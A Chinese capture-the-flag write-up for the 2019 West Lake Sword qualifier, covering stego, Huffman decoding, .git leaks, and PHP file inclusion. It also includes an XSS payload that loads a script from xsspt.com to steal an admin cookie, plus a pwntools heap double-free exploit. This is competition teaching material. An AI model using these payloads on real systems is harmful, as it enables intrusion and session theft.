西湖论剑WP

先水几句,这次的题确实难啊,动用了洪荒自力,第一名的神仙也没有全部做完。

官方说这次的题目有两道没被做出来,我猜应该是PWN和RE吧

本来我们是45名的,最后5分钟那帮人啊,硬生生给我们挤出前50,我都想砸电脑了,

后来官方又说前65名成功获得参赛资格,我去!又活了,但是无奈前50只刷掉几个队伍,

还是很遗憾没有进线下赛,本菜鸡尽力了,唉,下面进入正题

一、奇怪的TTL字段

TTL了解一下:TTL是 Time To Live的缩写,该字段指定IP包被路由器丢弃之前允许通过的最大网段数量。TTL是IPv4包头的一个8 bit字段。TTL的作用是限制IP数据包在计算机网络中的存在的时间。TTL的最大值是255,TTL的一个推荐值是64。

打开文本,发现TTL值一直是在127、191、63、255这四个值中选,

Hint:提取TTL值

将这四个值转换为二进制之后,发现后六位都是1

转换为八位二进制,提取前两位,然后转hex发现有了jpeg的头,于是将hex值写入文件

提取出来的img是一个残缺的二维码

           放到stegosolver 看图层

画图拼接

根据字面意思得知flag是自动密钥密码

在线破解:https://www.wishingstarmoye.com/ctf/autokey

二、哈夫曼之谜

这题我是手工构建哈夫曼树解出的编码,

不会写哈夫曼算法的程序,后来在网上找的

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef int ELEMTYPE;

// 哈夫曼树结点结构体
typedef struct HuffmanTree
{
    ELEMTYPE weight;
    ELEMTYPE id;        // id用来主要用以区分权值相同的结点,这里代表了下标
    struct HuffmanTree* lchild;
    struct HuffmanTree* rchild;
}HuffmanNode;

// 构建哈夫曼树
HuffmanNode* createHuffmanTree(int* a, int n)
{
    int i, j;
    HuffmanNode **temp, *hufmTree;
    temp = malloc(n*sizeof(HuffmanNode));
    for (i = 0; i<n; ++i)     // 将数组a中的权值赋给结点中的weight
    {
        temp[i] = (HuffmanNode*)malloc(sizeof(HuffmanNode));
        temp[i]->weight = a[i];
        temp[i]->id = i;
        temp[i]->lchild = temp[i]->rchild = NULL;
    }

    for (i = 0; i<n - 1; ++i)       // 构建哈夫曼树需要n-1合并
    {
        int small1 = -1, small2;      // small1、small2分别作为最小和次小权值的下标
        for (j = 0; j<n; ++j)         // 先将最小的两个下标赋给small1、small2(注意:对应权值未必最小)
        {
            if (temp[j] != NULL && small1 == -1)
            {
                small1 = j;
                continue;
            }
            else if (temp[j] != NULL)
            {
                small2 = j;
                break;
            }
        }

        for (j = small2; j<n; ++j)    // 比较权值,挪动small1和small2使之分别成为最小和次小权值的下标
        {
            if (temp[j] != NULL)
            {
                if (temp[j]->weight < temp[small1]->weight)
                {
                    small2 = small1;
                    small1 = j;
                }
                else if (temp[j]->weight < temp[small2]->weight)
                {
                    small2 = j;
                }
            }
        }
        hufmTree = (HuffmanNode*)malloc(sizeof(HuffmanNode));
        hufmTree->weight = temp[small1]->weight + temp[small2]->weight;
        hufmTree->lchild = temp[small1];
        hufmTree->rchild = temp[small2];

        temp[small1] = hufmTree;
        temp[small2] = NULL;
    }
    free(temp);
    return hufmTree;
}

// 以广义表的形式打印哈夫曼树
void PrintHuffmanTree(HuffmanNode* hufmTree)
{
    if (hufmTree)
    {
        printf("%d", hufmTree->weight);
        if (hufmTree->lchild != NULL || hufmTree->rchild != NULL)
        {
            printf("(");
            PrintHuffmanTree(hufmTree->lchild);
            printf(",");
            PrintHuffmanTree(hufmTree->rchild);
            printf(")");
        }
    }
}

// 递归进行哈夫曼编码
void HuffmanCode(HuffmanNode* hufmTree, int depth)      // depth是哈夫曼树的深度
{
    static int code[100];
    if (hufmTree)
    {
        if (hufmTree->lchild == NULL && hufmTree->rchild == NULL)
        {
            printf("id为%d权值为%d的叶子结点的哈夫曼编码为 ", hufmTree->id, hufmTree->weight);
            int i;
            for (i = 0; i<depth; ++i)
            {
                printf("%d", code[i]);
            }
            printf("\n");
        }
        else
        {
            code[depth] = 0;
            HuffmanCode(hufmTree->lchild, depth + 1);
            code[depth] = 1;
            HuffmanCode(hufmTree->rchild, depth + 1);
        }
    }
}

// 哈夫曼解码
void HuffmanDecode(char ch[], HuffmanNode* hufmTree, char string[])     // ch是要解码的01串,string是结点对应的字符
{
    int i;
    int num[500];
    HuffmanNode* tempTree = NULL;
    for (i = 0; i<strlen(ch); ++i)
    {
        if (ch[i] == ‘0‘)
            num[i] = 0;
        else
            num[i] = 1;
    }
    if (hufmTree)
    {
        i = 0;      // 计数已解码01串的长度
        while (i<strlen(ch))
        {
            tempTree = hufmTree;
            while (tempTree->lchild != NULL && tempTree->rchild != NULL)
            {
                if (num[i] == 0)
                {
                    tempTree = tempTree->lchild;
                }
                else
                {
                    tempTree = tempTree->rchild;
                }
                ++i;
            }
            printf("%c", string[tempTree->id]);     // 输出解码后对应结点的字符
        }
    }
}

int main()
{
    int i, n;
    printf("请输入叶子结点的个数:\n");
    while (1)
    {
        scanf("%d", &n);
        if (n>1)
            break;
        else
            printf("输入错误,请重新输入n值!");
    }

    int* arr;
    arr = (int*)malloc(n*sizeof(ELEMTYPE));
    printf("请输入%d个叶子结点的权值:\n", n);
    for (i = 0; i<n; ++i)
    {
        scanf("%d", &arr[i]);
    }

    char ch[500], string[500];
    printf("请连续输入这%d个叶子结点各自所代表的字符:\n", n);
    fflush(stdin);      // 强行清除缓存中的数据,也就是上面输入权值结束时的回车符
    gets(string);

    HuffmanNode* hufmTree = NULL;
    hufmTree = createHuffmanTree(arr, n);

    printf("此哈夫曼树的广义表形式为:\n");
    PrintHuffmanTree(hufmTree);
    printf("\n各叶子结点的哈夫曼编码为:\n");
    HuffmanCode(hufmTree, 0);

    printf("要解码吗?请输入编码:\n");
    gets(ch);
    printf("解码结果为:\n");
    HuffmanDecode(ch, hufmTree, string);
    printf("\n");

    free(arr);
    free(hufmTree);

    return 0;
}

编译后,上面是哈夫曼编码,下面是结点对应的权重值

上面的c程序是在网上找的,跑出字母对应的编码

            a:4       000

            g:1      00100

            l:1        00101

            {:1       00110

            }:1       00111

            d:9      01

            5:9      10

            f:5       110

            0:7      111

f}alg55fd5f50f0ddd0d00adafdd5505d50a5{

fla}g55fd5f50f0ddd0d00adafdd5505d50a5{

flag}55fd5f50f0ddd0d00adafdd5505d50a5{

flag{55fd5f50f0ddd0d00adafdd5505d50a5}

因为很多节点的权值相同,所以出来的格式有问题,不断转换相同权值的节点就可以得到flag格式:

flag{55fd5f50f0ddd0d00adafdd5505d50a5}

 

三、猜猜flag是什么

1.进入页面,提示要先拿到兑换码

2.扫描,发现根目录下有.DS_Store泄露:http://ctf1.linkedbyx.com:10442/.DS_Store。

访问后,然后发现页面确实啥也没有,尝试图片是否隐写了信息后无果

会不会是是个.git泄露,githack,找到压缩包BackupForMySite.zip,发现有密码,利用明文攻击,得到内容:

code is 9faedd5999937171912159d28b219d86

well ok ur good...By the way, flag saved in flag/seed.txt 

php_mt_seed提交随机数:$ time ./php_mt_seed  你的随机数得到数字,然后访问/flag/得到的数字.txt之后拿到flag

 

四、babyt3

从网页看出应该是文件包含漏洞include[file],

扫描:

得到一个dir.php

访问:

http://ctf2.linkedbyx.com:10740/?file=php://filter/read=convert.base64-encode/resource=dir.php

得到一个base64:

PD9waHAKJGEgPSBAJF9HRVRbJ2RpciddOwppZighJGEpewokYSA9ICcvdG1wJzsKfQp2Y XJfZHVtcChzY2FuZGlyKCRhKSk7Cg==

解密得:

<?php

$a = @$_GET[‘dir‘];

if(!$a){

$a = ‘/tmp‘;

}

var_dump(scandir($a));

构造payload:

http://ctf2.linkedbyx.com:10740/?file=../../../ffffflag_1s_Her4

得到base加密的flag,解密提交

五、Breakout

进去看到留言板,联想到XSS攻击

留言板触发XSS

<img src=x onerror=eval(atob(‘cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPSdodHRwczovL3hzc3B0LmNvbS9iUTUwS1Y/JytNYXRoLnJhbmRvbSgp‘))>

 

写脚本过验证码,nc远程服务器,打到管理员cookie:

PHPSESSID=rctb5bdpjja3t48ekjjtu8knu3;%20token=ISMvKXpXpadDiUoOSoAfww==;%[email protected]@!_admin_admin_hhhhh HTTP/1.1

服务器端Getshell,最后反弹shell成功后,flag在根目录下

六、最短路径题

BFS算法,手算的话,一共92个元素,一个一个找最后拼到一起也能做出来

七、story

有点像网鼎杯改编的题目;

1,

单看保护还好

2,应该是double free/Unlink漏洞:需要建立至少三个堆,通过修改第二个chunk的内容在第二个chunk中伪造了一个空闲chunk开始为伪造chunk的内容。如过此时想要free chunk3那么要进入unlink则需要使unlink函数认为伪chunk是空闲的并绕过检查。所以首先通过溢出将第三个chunk的prev_size字段修改为0x30并将size字段的P字段修改为0即0x90那么此时就可以绕过。

3,然后用修改data,获取权限;

4,最后上脚本。

#!/usr/bin/env python

# coding=utf-8

from pwn import *

debug = 0

local = 0

context.terminal=["tmux","splitw","-h"]

if local:

    a=process("./noinfoleak")

    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

else:

    a=remote("ctf1.linkedbyx.com","10346")

    libc=ELF("./libc.so.6")

if debug:

    gdb.attach(a,‘‘‘

   b *0x4009DC          

               ‘‘‘)

                 # b *0x400A1E

elf=ELF("./noinfoleak")

def menu(index):

    a.recvuntil(">")

    a.sendline(str(index))

def create(size,content):

    menu(1)

    a.recvuntil(">")

    a.sendline(str(size))

    a.recvuntil(">")

    a.send(content)

def delete(index):

    menu(2)

    a.recvuntil(">")

    a.sendline(str(index))

def edit(index,content):

    menu(3)

    a.recvuntil(">")

    a.sendline(str(index))

    a.recvuntil(">")

    a.send(content)

#double free

#size addr = 0x601002 

a.recv()

a.sendline("5")#puts 延迟绑定

create(0x50,"aaa")#index 0

create(0x40,"aa")#index 1

create(0x40,"asaa")#index 2

delete(1)

delete(2)

delete(1)

create(0x40,p64(0x6010A0))#index 3

create(0x40,"a")#index 4

create(0x40,"a")#index 5

read_got=0x000000000601048

payload=read_got

create(0x40,p64(payload))#index 6   ,0x6010b0:       0x0000000000601058      0x0000000000000040

                                       # index 1 , ptr = malloc got

create(0x50,"aaaaaaaa")#index 7

create(0x50,"bbbbbbbb")#index 8

delete(7)

delete(8)

delete(7)

fake_chunk_addr=0x601002-0x8

create(0x50,p64(fake_chunk_addr))#index 9

create(0x50,"aaa")#index 10

create(0x50,"aaa")#index 11

puts_plt=elf.plt["puts"]

#00 00 00 00 00

#0x601002-0x8+0x10

payload=‘\x00‘*14+p64(puts_plt)

create(0x50,payload)  #index 12

delete(1)

#double free ,修改data段。

read_addr=u64(a.recvuntil("\n",drop=True).ljust(8,"\x00"))

success("read address ==> 0x%x"%read_addr)

libc_base=read_addr -libc.symbols["read"]

one_gadget=libc_base+0xf1147

edit(1,p64(one_gadget))

a.recv()

a.sendline("30")

a.interactive()

8、easycpp

静态分析后,发现要输入16个数。放入IDA,输入1-16测试关键跳转

定位到rsi和rdi,发现rsi是斐波那契数列

再看rdi,找到与输入的字符串的规律

脚本跑flag(11不变,后面的值递归加上11,逆置,与斐波那契数列对比)

9、Testre

扔到IDA,看字符串,好像是base64

但是2345678ABCD。。。长度是58,考虑一下base58

字符串比较结合动态调试

得到一个base58,

解密

什么都没有了,还看,快去点关注

 

 

原文地址:https://www.cnblogs.com/WhiteHatKevil/p/10688961.html

时间: 2024-11-09 10:06:30

西湖论剑WP的相关文章

2019西湖论剑web wp

发在正文前 这应该是自己在安全圈摸爬滚打两年多以来第一次正规的ctf比赛.没解出flag,没截图,只提供了一些思路. 遥想往昔,初入大学,带着对PT的向往,一个人穿行在幽暗的图书馆,翻阅啃读一本本安全书籍(后来事实证明,纯属瞎折腾.在此也表达下对那些无师自通的大??深深的佩服之情),也从网上收集各种pt资源,弃高数而不学,视线代为无物,弱水三千唯爱我PT,虽晦涩难懂,学习过程举步维艰,仍然孜孜不倦,越发寻不得,就越发令我向往,言之痴迷不过. 兜兜转转,踏上起点,已是大二之事,没有多少窃喜,相反偶

2019 安恒周周练西湖论剑特别版 pwn部分wp

pwn1 考点:构造 shellcode,patch 汇编指令 IDA 查看反汇编,程序的逻辑很简单如,如果 直接 f5 的话 IDA 可能识别不出来函数,问题出在 0x080484CF 这个地方,call eax 指令识别不出来,所以这里可以先 patch 成 nop,之后 f5 就正常了. 程序把输入当成 shellcode 直接来执行,很显然是直接往栈上写 shellcode 了.checksec 检查保护的时候也可以验证这一点. gdb-peda$ checksec CANARY : d

演讲稿分析:2001年西湖论剑:向网络要钱

马云: 谢谢各位首先代表杭州IT界的企业,为各位的光临表示衷心的感谢. 其实这一年变化很多,我觉得变化是必然的,互联网我觉得最大的特征就是变化,阿里巴巴是怀抱变换拥抱变化,而且处在不断的变化之中. 那去年一年呢,应该是说,我觉得我们上一次论剑以后,总结了这走过的两三年,我们犯了很多很多的错误,真的,有些错误是刻骨铭心的痛,我自己感觉痛定思痛,上一次论剑回来让我想,阿里巴巴需要练什么样的剑,练什么样的招,才能够躲过后面更加复杂的形式,后来我们说我们不练剑,不练招而我们练阵(想法:公司构建生态系统的

2019西湖论剑网络安全技能大赛(大学生组)部分WriteUp

这次比赛是我参加以来成绩最好的一次,这离不开我们的小团队中任何一个人的努力,熬了一整天才答完题,差点饿死在工作室(门卫大爷出去散步,把大门锁了出不去,还好学弟提了几个盒饭用网线从窗户钓上来才吃到了午饭).写好WP回到宿舍的时候已经快十二点了,随便吃了点面包倒头就睡...... 接下来大概写写我们的解题思路,由于做题的时候没想到可以进名次,而且赛后比赛平台也关了,所以很多实现过程的截图就没法弄了,只下了除web以外的题目. CRYPTO 第一题 HardGame 这道题我们并没有做出来,可以看看大

2019_西湖论剑_预选赛 testre

程序中关键操作是比较ptr,其中夹杂的一部分v26计算是为了混淆我们的分析.那么我们只要跟踪ptr数组的生成便可,向上发现v11,加密操作数组. 接下来跟踪v11的相关操作 通过分析可以识别为base58编码,  base58_is_boring Base58 加密(c实现):https://blog.csdn.net/qq_40890756/article/details/89159641 原文地址:https://www.cnblogs.com/DirWang/p/12144535.html

马云和中国黄页

马云故事之一:中国黄页从看不见开始 2013-09-16  励志去我 1995年8月,杭州.马云家.电视台的摄像机在摄像.486电脑,电话拨号到上海电信,连接成功,打开Mosaic浏览器,敲入 .三个半小时之后,杭州望湖宾馆的网页下载完毕.指着从美国西雅图传回来的图片和简介,马云很自豪,很兴奋,他证明了他没骗大家,他证明了Internet的确存在-- 1964年9月10日,马云生在杭州.父母是半文盲.马云英文很好,13岁起,骑自行车带着老外满杭州跑:数学很差,敢考1分:自幼习武,喜欢打架,打得缝

致敬马云成功背后的蔡崇信

我不太会写书评,可能有一个原因,是一直想最大程度汲取书中的真知灼见,以至于在某些观点缺乏展开和深究. 另外,数学的思维告诉我,一个观点的正确与否,是需要很多条件来佐证的,并且,其中任何一个单独的条件都不能直接推导这个观点的正确性.也就是所谓的充分不必要.所以,导致思维很谨慎,不轻下断言. 下面,先说说这本书吧. 对于阿里巴巴,我评价5分,对于这本书,评价只能是及格. 在看的过程中,发现了几个问题,这里列出来,一起探讨: 1,65页下方,"凭借着共计2500万美元的两笔融资",按书中的阐

关于论文撰写文的素材积累解析

先给我们说个比方.有一次,我 翻高考满分作文,碰到一名考生用到 阿里巴巴老总马云的资料,在其他作 文中并未多见,就在课堂上,这么告 诉学生, “我们用这些古代人物案例 用烦了吧,我在翻高考作文时无意中 翻到了个宝,我们必定喜爱他.”学 生被提起爱好,我接着通知他们, “让我们每天受惠的阿里巴巴.taobao 的老总一马云.”学生对taobao并不陌 生,因而较为感爱好,接着我把那篇 满分中写到马云的片段给学生读了, 接着就有学生说,“教师,给我们补 充弥补他的资料吧.”正中下怀,我 即是想让学生

微信公众号支付安卓和WP支付成功,苹果不能支付!

花了几天时间,终于搞好了,代码是从官网上下的.NET DEMO的代码改的,测试的时候发现安卓和WP手机都能进行支付,但是苹果的怎么支付都支付不了,主要是在下面这个界面 点支付按钮就是苹果支付不了,其他手机都能支付.搞了几天,本来应该是昨天应该搞出来的,但昨天不知道怎么回事同事的iphone加上电脑上的finddler 就是抓 不了包. 今天又再设置了一次finddler, 发现又 可以抓 到包了...结果在抓包的时候看生成的支付页面的代码,才发现问题: 如图, 那个DEMO生成的支付按钮是sut